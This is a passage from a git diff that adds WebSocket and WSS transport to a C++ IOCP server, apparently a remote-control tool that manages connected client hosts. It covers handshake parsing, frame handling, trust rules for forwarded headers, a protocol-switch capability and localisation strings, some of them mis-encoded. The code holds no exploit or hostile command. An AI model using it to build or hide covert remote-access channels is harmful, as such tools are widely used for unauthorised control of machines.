(!ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)replies.data(), (DWORD)replies.size())) { + return FALSE; + } + if (tlsReady) { + ULONG newLen = ContextObject->OutCompressedBuffer.GetBufferLength() - oldLen; + std::vector wire; + if (ContextObject->tls->Encrypt(ContextObject->OutCompressedBuffer.GetBuffer(oldLen), + (int)newLen, wire) != (int)newLen) { + ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen); + Mprintf("[TLS] Encrypt failed for %s (fail-closed)\n", ContextObject->GetPeerName().c_str()); + return FALSE; + } + ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen); + ContextObject->OutCompressedBuffer.WriteBuffer(wire.data(), (DWORD)wire.size()); + } + + if (!ContextObject->bSendPending) { + ContextObject->bSendPending = true; + OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); + BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol); + if ((!bOk && GetLastError() != ERROR_IO_PENDING)) { + ContextObject->bSendPending = false; + SAFE_DELETE(OverlappedPlus); + return FALSE; + } + } return TRUE; } @@ -1164,9 +1447,44 @@ BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe // 新明文由 WriteContextData 追加在尾部。若把整个缓冲区重新加密,会把旧密文二次加密, // 客户端解密后得到的是「旧 TLS 记录」→ Unknown header 17 03 03。故只加密本次新追加的尾部。 bool tlsReady = (ContextObject->tlsState.load(std::memory_order_acquire) == TLS_Ready); - ULONG oldLen = tlsReady ? ContextObject->OutCompressedBuffer.GetBufferLength() : 0; + // WS(含 WSS):同样只处理本次新追加的尾部——前缀可能还有在途未发完的帧/密文。 + const bool wsStateReady = (ContextObject->wsState.load(std::memory_order_acquire) == WS_Ready); + if (wsStateReady && (ContextObject->ws == NULL || !ContextObject->ws->IsOpen())) { + // 升级过 WS 但会话已关(Feed 报错 / 收到 close)而状态还没降级:绝不能把应用字节 + // 当裸字节发出去,对端会解帧错位。丢弃本次发送,并主动 shutdown 让挂起的 recv + // 立刻返回 0 字节——否则接收路径要等对端 FIN 才醒,期间这条连接既发不出也收不到, + // 只能靠心跳超时兜底(最坏要几分钟)。 + // + // 这里不能直接调 RemoveStaleContext:它会等待 IoRefCount 归零,而本函数的调用方 + // 常常就处在一个 IoRef 里(发送失败→兜底发送),等于自己等自己,5 秒后超时放行, + // 反而可能把已回收复用的 CONTEXT_OBJECT 交回给调用者。shutdown 是异步且无阻塞的, + // 真正的收尾仍由接收路径的 -2 返回值触发。 + Mprintf("[WS] session closed for %s, dropping send\n", ContextObject->GetPeerName().c_str()); + shutdown(ContextObject->sClientSocket, SD_BOTH); + return FALSE; + } + bool wsReady = wsStateReady; + ULONG oldLen = (tlsReady || wsReady) ? ContextObject->OutCompressedBuffer.GetBufferLength() : 0; if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) { + // WebSocket:一次发送 = 一帧(与 Go 端 wsConn.Write 对齐)。必须在 TLS 加密之前完成, + // 这样 TLS 加密的「新追加尾部」就是整帧字节(应用字节 → WS 帧 → TLS 记录)。 + if (wsReady) { + ULONG totalLen = ContextObject->OutCompressedBuffer.GetBufferLength(); + ULONG appLen = totalLen - oldLen; + if (appLen > 0 && ContextObject->ws->IsOpen()) { + std::vector framed; + if (!ContextObject->ws->Frame((const BYTE*)ContextObject->OutCompressedBuffer.GetBuffer(oldLen), + (int)appLen, framed)) { + Mprintf("[WS] frame failed for %s (dropping send)\n", ContextObject->GetPeerName().c_str()); + ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen); + return FALSE; + } + ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen); + ContextObject->OutCompressedBuffer.WriteBuffer(framed.data(), (DWORD)framed.size()); + } + } + // 单向 TLS:只加密新追加的明文尾部,产出密文后与前缀旧密文拼接,使缓冲区始终保持 // 一串合法 TLS 记录;之后 IOWrite / OnClientPostSending 完全不变(见设计文档 §5.5)。 if (tlsReady) { diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 8b0467f..567bc20 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -92,6 +92,7 @@ private: static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI RttPollThreadProc(LPVOID lParam); static DWORD WINAPI TlsHandshakeThreadProc(LPVOID lParam); + static DWORD WINAPI WsHandshakeThreadProc(LPVOID lParam); BOOL InitializeIOCP(VOID); VOID OnAccept(); @@ -103,6 +104,10 @@ private: BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z); BOOL StartTlsHandshake(CONTEXT_OBJECT* ContextObject); + BOOL StartWsHandshake(CONTEXT_OBJECT* ContextObject, const std::vector& initial); + int DispatchPlain(CONTEXT_OBJECT* ContextObject, const BYTE* data, DWORD len, ZSTD_DCtx* ctx, z_stream* z); + BOOL DispatchWsFrameData(CONTEXT_OBJECT* ContextObject, const BYTE* wire, DWORD len, ZSTD_DCtx* ctx, z_stream* z); + BOOL SendWsReplies(CONTEXT_OBJECT* ContextObject, const std::vector& replies); BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength); BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength); int AddWorkThread(int n) diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index efbb01c..932cc70 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -339,6 +339,17 @@ enum ServerTlsState { TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密 }; class ServerTlsSession; // 定义见 ServerTlsSession.h(避免把 Schannel 头拖进本文件) +class ServerWsSession; // 定义见 ServerWsSession.h(WebSocket 传输层) + +// 每连接 WebSocket 状态(与 Go 服务端 wsConn 同构,见 docs/WebSocket_Transport_Design.md)。 +// 明文与 TLS 设备都可能升级成 WS:首包是 "GET " 即按 HTTP Upgrade 处理;TLS 设备在 +// 握手完成后的首个明文分片里再看这一眼。 +enum ServerWsState { + WS_Undecided = 0, // 还没见到首个应用字节(TLS 连接在握手完成后才可能判定) + WS_None = 1, // 已判定为普通设备(非 WebSocket) + WS_Handshaking = 2, // 升级握手进行中,握手线程独占 socket + WS_Ready = 3, // 升级完成,收包解帧 / 发包加帧 +}; typedef class CONTEXT_OBJECT : public context { @@ -353,6 +364,7 @@ public: FreeCompressBuffer(); FreeSendCompressBuffer(); FreeTls(); + FreeWs(); if (Zcctx) { ZSTD_freeCCtx(Zcctx); Zcctx = nullptr; @@ -414,6 +426,14 @@ public: ServerTlsSession* tls = nullptr; // 每连接 TLS 会话(握手线程独占→就绪后共用) std::vector tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头) + // ---- WebSocket 传输层状态(分层在 TLS 之上:WSS = TLS 里的 WS)---- + std::atomic wsState{ WS_Undecided }; // ServerWsState + ServerWsSession* ws = nullptr; // 每连接 WS 会话(升级线程独占→就绪后共用) + // WS 升级前的首包缓冲(判定 "GET " 用)。与 tlsPreClassify 刻意分开:两者服务于不同的 + // 状态机,此前串行复用同一个 vector(TLS 判定完 move 走再 clear,WS 又塞回来),字段名 + // 与用途对不上,排查时容易误读。两条路径仍按先后串行,互不重叠。 + std::vector wsPreClassify; + // 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。 // 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受), // 仅作为标记供后续命令处理 / 未来收紧策略使用。 @@ -520,8 +540,15 @@ public: // 释放每连接 TLS 会话。定义在 ServerTlsSession.cpp(需 ServerTlsSession 完整类型才能 delete)。 void FreeTls(); + // 释放每连接 WebSocket 会话。定义在 ServerWsSession.cpp(同上)。 + void FreeWs(); + std::string GetProtocol() const override { + const int ws = wsState.load(std::memory_order_acquire); + if (ws == WS_Ready || ws == WS_Handshaking) { + return tlsState.load(std::memory_order_acquire) == TLS_Ready ? "WSS" : "WS"; + } return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP"; } int GetServerPort() const override @@ -568,6 +595,10 @@ public: FreeTls(); tlsState.store(TLS_Unclassified, std::memory_order_release); tlsPreClassify.clear(); + // 复用对象池时重置 WebSocket 状态:释放旧会话、回到未判定、清空首包缓冲。 + FreeWs(); + wsState.store(WS_Undecided, std::memory_order_release); + wsPreClassify.clear(); // 复用对象池时清空发送进行中标志,避免上次连接残留的 bSendPending 抑制新连接的发送。 bSendPending = false; } diff --git a/server/2015Remote/ServerWsSession.cpp b/server/2015Remote/ServerWsSession.cpp new file mode 100644 index 0000000..2e589ec --- /dev/null +++ b/server/2015Remote/ServerWsSession.cpp @@ -0,0 +1,481 @@ +// ServerWsSession.cpp — 设备端口 WebSocket 传输层(服务端侧)实现 +// +// 语义对齐 Go 服务端 server/go/server/ws.go: +// * 升级请求逐行解析,头部总量上限 8 KiB(对端可控,不能无上限缓冲); +// * 只接受 Upgrade: websocket + Connection: upgrade(逗号分隔、大小写不敏感); +// * Sec-WebSocket-Accept = base64(SHA1(key + GUID)); +// * 客户端帧通常带掩码,解帧时按 4 字节掩码异或;服务端发帧一律不加掩码; +// * 控制帧(close/ping/pong)必须在数据帧之间处理,且载荷 ≤125 字节; +// * 只有直接对端是回环地址时才相信 X-Forwarded-For / X-Real-IP,取 XFF 的最后一项 +// (反代追加自己看到的地址,客户端预置的前缀因此无效)。 +#include "StdAfx.h" +#include "ServerWsSession.h" +#include "ServerTlsSession.h" +#include "Server.h" // CONTEXT_OBJECT::FreeWs() + +#include +#include +#include + +#pragma comment(lib, "bcrypt.lib") + +namespace { + +// RFC 6455 规定的握手魔数,accept = base64(sha1(key + GUID)) +const char kWsMagicGUID[] = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; + +// 握手请求头上限:客户端可控,必须有上限(与 Go 的 wsMaxHandshakeBytes 同为 8 KiB) +const size_t kMaxHandshakeBytes = 8192; + +// 升级期间单次同步 I/O 的等待上限(与握手线程设的 SO_RCVTIMEO/SO_SNDTIMEO 一致) +const int kIoTimeoutMs = 15000; + +// 单帧载荷上限:屏幕/文件分块远小于此值;超过即视为协议错误,避免长度字段撑爆内存 +const long long kMaxFramePayload = 256LL * 1024 * 1024; + +const BYTE kBase64Table[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +std::string Base64Encode(const BYTE* data, size_t len) +{ + std::string out; + out.reserve(((len + 2) / 3) * 4); + for (size_t i = 0; i < len; i += 3) { + unsigned v = (unsigned)data[i] << 16; + if (i + 1 < len) v |= (unsigned)data[i + 1] << 8; + if (i + 2 < len) v |= data[i + 2]; + out.push_back((char)kBase64Table[(v >> 18) & 0x3F]); + out.push_back((char)kBase64Table[(v >> 12) & 0x3F]); + out.push_back(i + 1 < len ? (char)kBase64Table[(v >> 6) & 0x3F] : '='); + out.push_back(i + 2 < len ? (char)kBase64Table[v & 0x3F] : '='); + } + return out; +} + +bool Sha1(const BYTE* data, size_t len, BYTE out[20]) +{ + BCRYPT_ALG_HANDLE alg = NULL; + if (BCryptOpenAlgorithmProvider(&alg, BCRYPT_SHA1_ALGORITHM, NULL, 0) != 0) { + return false; + } + bool ok = false; + DWORD objLen = 0, got = 0; + if (BCryptGetProperty(alg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&objLen, sizeof(objLen), &got, 0) == 0) { + std::vector obj(objLen); + BCRYPT_HASH_HANDLE h = NULL; + if (BCryptCreateHash(alg, &h, obj.data(), objLen, NULL, 0, 0) == 0) { + ok = BCryptHashData(h, (PUCHAR)data, (ULONG)len, 0) == 0 && + BCryptFinishHash(h, out, 20, 0) == 0; + BCryptDestroyHash(h); + } + } + BCryptCloseAlgorithmProvider(alg, 0); + return ok; +} + +std::string WsAcceptKey(const std::string& key) +{ + std::string material = key + kWsMagicGUID; + BYTE digest[20] = { 0 }; + if (!Sha1((const BYTE*)material.data(), material.size(), digest)) { + return std::string(); + } + return Base64Encode(digest, sizeof(digest)); +} + +std::string TrimWs(const std::string& s) +{ + size_t b = 0, e = s.size(); + while (b < e && (s[b] == ' ' || s[b] == '\t' || s[b] == '\r' || s[b] == '\n')) b++; + while (e > b && (s[e - 1] == ' ' || s[e - 1] == '\t' || s[e - 1] == '\r' || s[e - 1] == '\n')) e--; + return s.substr(b, e - b); +} + +std::string ToLowerAscii(const std::string& s) +{ + std::string out = s; + for (size_t i = 0; i < out.size(); i++) { + if (out[i] >= 'A' && out[i] <= 'Z') out[i] = (char)(out[i] - 'A' + 'a'); + } + return out; +} + +// 逗号分隔的头值里是否含 token(大小写不敏感),用于 Connection: keep-alive, Upgrade +bool HeaderHasToken(const std::string& value, const char* token) +{ + size_t start = 0; + while (start <= value.size()) { + size_t comma = value.find(',', start); + std::string part = TrimWs(value.substr(start, comma == std::string::npos ? std::string::npos : comma - start)); + if (ToLowerAscii(part) == token) return true; + if (comma == std::string::npos) break; + start = comma + 1; + } + return false; +} + +bool IsIPLiteral(const std::string& s) +{ + if (s.empty()) return false; + IN_ADDR v4 = {}; + if (inet_pton(AF_INET, s.c_str(), &v4) == 1) return true; + IN6_ADDR v6 = {}; + return inet_pton(AF_INET6, s.c_str(), &v6) == 1; +} + +// 去掉 "1.2.3.4:5678" 的端口(裸 IPv6 字面量保留原样) +std::string StripPort(const std::string& s) +{ + size_t colon = s.rfind(':'); + if (colon != std::string::npos && s.find(':') == colon) { + if (IsIPLiteral(s.substr(0, colon))) return s.substr(0, colon); + } + return s; +} + +// 只有回环对端才允许用转发头改写真实地址(与 Go 的默认 TrustedProxies 一致): +// 反代与服务端同机部署时,设备连接的直接对端一定是回环地址。 +bool IsLoopbackPeer(const std::string& peer) +{ + return peer == "::1" || peer == "::ffff:127.0.0.1" || peer.compare(0, 4, "127.") == 0; +} + +// 从转发头取真实地址:XFF 的最后一项优先(反代追加,客户端预置的无效),X-Real-IP 兜底。 +// 只接受 IP 字面量,避免头里塞进任意字符串当作对端标识。 +std::string PickForwardedIP(const std::string& xff, const std::string& realIp) +{ + if (!xff.empty()) { + size_t comma = xff.rfind(','); + std::string last = StripPort(TrimWs(comma == std::string::npos ? xff : xff.substr(comma + 1))); + if (IsIPLiteral(last)) return last; + } + std::string ip = StripPort(TrimWs(realIp)); + return IsIPLiteral(ip) ? ip : std::string(); +} + +void AppendFrame(std::vector& out, BYTE opcode, const BYTE* payload, int len) +{ + out.push_back((BYTE)(0x80 | opcode)); // FIN + opcode,服务端帧不加掩码 + if (len < 126) { + out.push_back((BYTE)len); + } else if (len <= 0xFFFF) { + out.push_back(126); + out.push_back((BYTE)((len >> 8) & 0xFF)); + out.push_back((BYTE)(len & 0xFF)); + } else { + out.push_back(127); + unsigned long long v = (unsigned long long)len; + for (int i = 7; i >= 0; i--) { + out.push_back((BYTE)((v >> (8 * i)) & 0xFF)); + } + } + if (len > 0) { + out.insert(out.end(), payload, payload + len); + } +} + +} // namespace + +// 升级线程在 IOCP 的子套接字上做同步 I/O。该套接字可能是非阻塞的(监听套接字经 +// WSAEventSelect 置为非阻塞后,accept 出的子套接字继承非阻塞态;线程里 FIONBIO=0 会以 +// WSAEINVAL 失败)。故 recv/send 遇 WSAEWOULDBLOCK 时用 select 等可读/可写再重试, +// 而不是当致命错误——否则「客户端请求头还没到齐」会被误判为升级失败。与 +// ServerTlsSession 的 WaitSocketReady 同一策略。 +bool WaitSocketReady(SOCKET sock, bool forRead, int timeoutMs) +{ + fd_set fds; + FD_ZERO(&fds); + FD_SET(sock, &fds); + timeval tv; + tv.tv_sec = timeoutMs / 1000; + tv.tv_usec = (timeoutMs % 1000) * 1000; + return select(0, forRead ? &fds : NULL, forRead ? NULL : &fds, NULL, &tv) > 0; +} + +bool ServerWsSession::ReadByte(BYTE& b, std::string* err) +{ + for (;;) { + if (!m_stash.empty()) { + b = m_stash.front(); + m_stash.erase(m_stash.begin()); + return true; + } + if (m_tls == NULL) { + int n = ::recv(m_sock, (char*)&b, 1, 0); + if (n == 1) return true; + if (n == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK) { + if (WaitSocketReady(m_sock, true, kIoTimeoutMs)) continue; + if (err) *err = "timeout during upgrade"; + return false; + } + if (err) *err = (n == 0) ? "connection closed during upgrade" : "recv failed during upgrade"; + return false; + } + // WSS:收密文、解密,只消费到头结束为止;多读出来的明文留给 pending + BYTE raw[4096]; + int n = ::recv(m_sock, (char*)raw, (int)sizeof(raw), 0); + if (n == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK) { + if (WaitSocketReady(m_sock, true, kIoTimeoutMs)) continue; + if (err) *err = "TLS timeout during upgrade"; + return false; + } + if (n <= 0) { + if (err) *err = (n == 0) ? "TLS connection closed during upgrade" : "TLS recv failed during upgrade"; + return false; + } + std::vector plain; + if (m_tls->Decrypt(raw, n, plain) < 0) { + if (err) *err = "TLS decrypt failed during upgrade"; + return false; + } + m_stash.swap(plain); // 可能为空(这一批只是握手记录),循环再收 + } +} + +bool ServerWsSession::WriteWire(const BYTE* data, int len) +{ + std::vector wire; + const BYTE* p = data; + if (m_tls) { + if (m_tls->Encrypt(data, len, wire) != len) return false; + p = wire.data(); + len = (int)wire.size(); + } + int sent = 0; + while (sent < len) { + int n = ::send(m_sock, (const char*)p + sent, len - sent, 0); + if (n == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK) { + if (!WaitSocketReady(m_sock, false, kIoTimeoutMs)) return false; + continue; // 非阻塞套接字发送缓冲满:等可写后重试 + } + if (n <= 0) return false; + sent += n; + } + return true; +} + +bool ServerWsSession::Handshake(SOCKET sock, ServerTlsSession* tls, const std::vector& initial, + std::vector& pending, const std::string& peer, std::string* err) +{ + m_sock = sock; + m_tls = tls; + m_open = false; + m_stash = initial; + m_forwardedIP.clear(); + + std::string head; + for (;;) { + if (head.size() > kMaxHandshakeBytes) { + if (err) *err = "upgrade head too large"; + return false; + } + BYTE b = 0; + if (!ReadByte(b, err)) return false; + head.push_back((char)b); + if (head.size() >= 4 && head.compare(head.size() - 4, 4, "\r\n\r\n") == 0) { + break; + } + } + + // ---- 解析请求行与头 ---- + std::string path, upgrade, connection, key, xff, realIp; + size_t pos = 0; + bool firstLine = true; + while (pos < head.size()) { + size_t eol = head.find("\r\n", pos); + if (eol == std::string::npos) break; // 只有结尾的 \r\n\r\n + std::string line = head.substr(pos, eol - pos); + pos = eol + 2; + if (line.empty()) break; + if (firstLine) { + firstLine = false; + // "GET HTTP/1.1" + size_t sp1 = line.find(' '); + size_t sp2 = line.rfind(' '); + if (sp1 == std::string::npos || sp2 == sp1) { + if (err) *err = "malformed request line"; + return false; + } + std::string method = line.substr(0, sp1); + std::string version = line.substr(sp2 + 1); + if (method != "GET" || version.compare(0, 7, "HTTP/1.") != 0) { + if (err) *err = "not a WebSocket upgrade request"; + return false; + } + path = line.substr(sp1 + 1, sp2 - sp1 - 1); + size_t q = path.find('?'); + if (q != std::string::npos) path = path.substr(0, q); + continue; + } + size_t colon = line.find(':'); + if (colon == std::string::npos) { + if (err) *err = "malformed header line"; + return false; + } + std::string name = ToLowerAscii(TrimWs(line.substr(0, colon))); + std::string value = TrimWs(line.substr(colon + 1)); + if (name == "upgrade") { + upgrade = value; + } else if (name == "connection") { + connection += (connection.empty() ? "" : ",") + value; // 重复头按 RFC 合并 + } else if (name == "sec-websocket-key") { + key = value; + } else if (name == "x-forwarded-for") { + xff = value; + } else if (name == "x-real-ip") { + realIp = value; + } + } + + if (!HeaderHasToken(upgrade, "websocket") || !HeaderHasToken(connection, "upgrade") || key.empty()) { + if (err) *err = "missing Upgrade/Connection/Sec-WebSocket-Key"; + return false; + } + + std::string accept = WsAcceptKey(key); + if (accept.empty()) { + if (err) *err = "SHA1 unavailable for Sec-WebSocket-Accept"; + return false; + } + + std::string resp = + "HTTP/1.1 101 Switching Protocols\r\n" + "Upgrade: websocket\r\n" + "Connection: Upgrade\r\n" + "Sec-WebSocket-Accept: " + accept + "\r\n\r\n"; + if (!WriteWire((const BYTE*)resp.data(), (int)resp.size())) { + if (err) *err = "send upgrade response failed"; + return false; + } + + // 升级完成后剩余字节就是客户端紧随其后的首帧(只有 WSS 分批解密时才会出现) + pending.assign(m_stash.begin(), m_stash.end()); + m_stash.clear(); + + if (IsLoopbackPeer(peer)) { + m_forwardedIP = PickForwardedIP(xff, realIp); + } + + m_open = true; + return true; +} + +int ServerWsSession::Feed(const BYTE* wire, int len, std::vector& app, std::vector& replies) +{ + if (!m_open) return -1; + if (len > 0) { + m_in.insert(m_in.end(), wire, wire + len); + } + + for (;;) { + // ---- 当前数据帧还没读完:按剩余长度切片交付(大帧不整体缓冲)---- + if (m_remaining > 0) { + if (m_pos >= m_in.size()) break; + size_t avail = m_in.size() - m_pos; + size_t take = ((long long)avail < m_remaining) ? avail : (size_t)m_remaining; + if (m_masked) { + for (size_t i = 0; i < take; i++) { + m_in[m_pos + i] ^= m_mask[m_maskPos]; + m_maskPos = (m_maskPos + 1) & 3; + } + } + app.insert(app.end(), m_in.begin() + m_pos, m_in.begin() + m_pos + take); + m_pos += take; + m_remaining -= (long long)take; + continue; + } + + // ---- 读帧头 ---- + size_t avail = m_in.size() - m_pos; + if (avail < 2) break; + const BYTE* h = m_in.data() + m_pos; + if (h[0] & 0x70) return -1; // 未协商扩展却置了 RSV 位 + BYTE opcode = (BYTE)(h[0] & 0x0F); + bool fin = (h[0] & 0x80) != 0; + bool masked = (h[1] & 0x80) != 0; + long long plen = h[1] & 0x7F; + size_t hdrLen = 2; + if (plen == 126) { + if (avail < 4) break; + plen = ((long long)h[2] << 8) | h[3]; + hdrLen = 4; + } else if (plen == 127) { + if (avail < 10) break; + plen = 0; + for (int i = 0; i < 8; i++) { + plen = (plen << 8) | h[2 + i]; + } + if (plen < 0) return -1; + hdrLen = 10; + } + BYTE mask[4] = { 0, 0, 0, 0 }; + if (masked) { + if (avail < hdrLen + 4) break; + memcpy(mask, h + hdrLen, 4); + hdrLen += 4; + } + if (plen > kMaxFramePayload) return -1; + + if (opcode >= 0x8) { + // 控制帧:载荷 ≤125,必须整帧到齐才能处理 + if (!fin || plen > 125) return -1; + if (avail < hdrLen + (size_t)plen) break; + BYTE payload[125] = { 0 }; + memcpy(payload, h + hdrLen, (size_t)plen); + if (masked) { + for (long long i = 0; i < plen; i++) payload[i] ^= mask[i & 3]; + } + m_pos += hdrLen + (size_t)plen; + if (opcode == 0x8) { // close:回显后按关闭处理 + AppendFrame(replies, 0x8, payload, (int)plen); + m_open = false; + return -1; + } + if (opcode == 0x9) { // ping → pong + AppendFrame(replies, 0xA, payload, (int)plen); + } + // 0xA (pong) 及其它控制帧直接忽略 + continue; + } + + if (opcode != 0x0 && opcode != 0x1 && opcode != 0x2) return -1; + m_pos += hdrLen; + m_remaining = plen; + m_masked = masked; + memcpy(m_mask, mask, 4); + m_maskPos = 0; + } + + Compact(); + return 0; +} + +bool ServerWsSession::Frame(const BYTE* app, int len, std::vector& wire) +{ + if (!m_open || len < 0) return false; + AppendFrame(wire, 0x2, app, len); + return true; +} + +void ServerWsSession::Compact() +{ + if (m_pos == 0) return; + if (m_pos >= m_in.size()) { + m_in.clear(); + m_pos = 0; + } else if (m_pos >= 65536 || m_pos * 2 >= m_in.size()) { + m_in.erase(m_in.begin(), m_in.begin() + m_pos); + m_pos = 0; + } +} + +// 释放每连接 WS 会话(CONTEXT_OBJECT 析构 / 对象池复用时调用)。 +// 与 FreeTls 一致:调用点保证此时没有线程还在使用该会话(见 RemoveStaleContext 的 +// IoRefCount 约束;握手线程持有一枚引用)。 +void CONTEXT_OBJECT::FreeWs() +{ + if (ws) { + delete ws; + ws = NULL; + } +} diff --git a/server/2015Remote/ServerWsSession.h b/server/2015Remote/ServerWsSession.h new file mode 100644 index 0000000..5a9026e --- /dev/null +++ b/server/2015Remote/ServerWsSession.h @@ -0,0 +1,67 @@ +// ServerWsSession.h — MFC 服务端设备端口的 WebSocket 传输层 +// +// 与 Go 服务端 server/go/server/ws.go 的 wrapWebSocket / wsConn 同构:在同一端口上 +// 与明文、TLS 设备共存,首包是 "GET " 时按 HTTP Upgrade 升级,之后把每帧载荷原样交回 +// 既有解析路径;发送方向「一次发送 = 一帧」,与 wsConn.Write 对齐。 +// +// 与 TLS 是分层而不是并列的关系:wss = TLS 里的 WebSocket。本类不碰加密,tls 非空时 +// 所有字节都经 ServerTlsSession 加解密(顺序:应用字节 → WS 帧 → TLS 记录)。 +// +// 线程模型:Handshake 在专用握手线程上阻塞执行(与 TlsHandshakeThreadProc 同一模式, +// 握手期间独占 socket);握手完成后 Feed 只由 IOCP 工作线程调用(每连接同一时刻只有 +// 一个未决 WSARecv,天然串行);Frame 由发送方在 CONTEXT_OBJECT::SendLock 内调用。 +#pragma once + +#include + +#include +#include + +class ServerTlsSession; + +class ServerWsSession +{ +public: + ServerWsSession() {} + ~ServerWsSession() {} + + // 升级握手。initial 是触发判定的首批明文(以 "GET " 开头,可能只是请求头的一部分); + // pending 返回升级完成后多读到的线缆字节(可能是客户端紧随其后的首帧),由调用方交 + // 给 Feed;peer 是直接对端地址,用于判断是否信任 X-Forwarded-For。失败返回 false 并 + // 置 err(调用方关闭连接,fail-closed)。 + bool Handshake(SOCKET sock, ServerTlsSession* tls, const std::vector& initial, + std::vector& pending, const std::string& peer, std::string* err); + + // 解帧:线缆字节 wire 还原成应用字节 app,产出需要写回的完整帧 replies(应答 ping、 + // 回显 close)。返回 0 正常;-1 表示协议错误或对端已关闭,调用方应关闭连接 + // (replies 仍须先发出)。 + int Feed(const BYTE* wire, int len, std::vector& app, std::vector& replies); + + // 封装:把一段应用字节封成一帧二进制帧(服务端帧不加掩码)。 + bool Frame(const BYTE* app, int len, std::vector& wire); + + // 供外部在握手/升级完成后标记连接已关闭。 + void MarkClosed() { m_open = false; } + bool IsOpen() const { return m_open; } + + // 代理转发的真实客户端地址(仅在直接对端是回环地址、且升级请求带了转发头时非空)。 + const std::string& ForwardedIP() const { return m_forwardedIP; } + +private: + bool ReadByte(BYTE& b, std::string* err); + bool WriteWire(const BYTE* data, int len); + void Compact(); + + SOCKET m_sock = INVALID_SOCKET; + ServerTlsSession* m_tls = NULL; + std::vector m_stash; // 已从 socket 读出、尚未消费的字节(TLS 时是明文) + std::string m_forwardedIP; + + std::vector m_in; // 尚未解完的线缆字节 + size_t m_pos = 0; // m_in 中已消费到的位置 + long long m_remaining = 0; // 当前数据帧剩余载荷 + bool m_masked = false; // 当前数据帧是否带掩码 + BYTE m_mask[4] = { 0, 0, 0, 0 }; + int m_maskPos = 0; + bool m_open = false; // 升级完成后为 true,收到 close / 出错后为 false +}; diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 1c51762..7e6429f 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -104,4 +104,12 @@ public: if (caps.IsEmpty()) return false; return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0; } + + // 检查客户端是否支持远程协议切换(COMMAND_SET_PROTO)。老客户端没有这个命令, + // 收到也会走 default 丢弃,服务端据此把「协议切换」菜单置灰。 + bool SupportsProtoSwitch() const { + CString caps = GetClientData(ONLINELIST_CAPABILITIES); + if (caps.IsEmpty()) return false; + return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0; + } }; diff --git a/server/2015Remote/lang/de_DE.ini b/server/2015Remote/lang/de_DE.ini index 36800e5..f8e7c6a 100644 --- a/server/2015Remote/lang/de_DE.ini +++ b/server/2015Remote/lang/de_DE.ini @@ -279,6 +279,7 @@ Web ͨÓÃ=Allgemein ¸߼¶ (·DZØÌîÏî)=Erweitert (Optional) Ìáʾ: ¶à¸öÉÏÏߵØַÓ÷ֺŷָô£¬99¸ö×ַûÒÔÄڡ£½ö¹©ѧϰºÍ×ÔÓã¬ÑϽûÓÃÓڷǷ¨ĿµÄʹÓá£=Tipp: Mehrere Adressen durch Semikolons getrennt, max. 99 Zeichen. +Ìáʾ: WebSocketЭÒéÐ辭·´Ïò´úÀí(Èçnginx 443)ת·¢µ½Ö÷¿ض˿ڣ¬µØַÌîÓòÃû¡£=Tipp: WebSocket benoetigt einen Reverse-Proxy (z. B. nginx auf 443), der auf den Steuerungsport weiterleitet; als Adresse die Domain eintragen. ; ============================================ ; Service Manager @@ -2110,10 +2111,22 @@ TLS ֤Êé/˽Կ¼ÓÔØʧ°ܣ¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Çë¼ì²éÎļþ·¾¶Óë¸ñʽ£¨֤Êé PEM¡¢˽Կ PKCS#8£©¡£=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel). TLS´«Êä=TLS-Transport ȡÏûTLS=TLS deaktivieren -ȷ¶¨¶ÔѡÖÐÖ÷»úÆôÓà TLS ´«ÊäÂð£¿\n£¨Linux ¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£»Windows ¿ͻ§¶ËÏ´ÎÆô¶¯ÉúЧ£©=TLS-Transport fuer die ausgewaehlten Hosts aktivieren?\n(Linux-Clients wechseln sofort und verbinden sich neu; Windows-Clients erst nach dem Neustart) -ȷ¶¨ȡÏûѡÖÐÖ÷»úµÄ TLS ´«ÊäÂð£¿\n£¨Linux 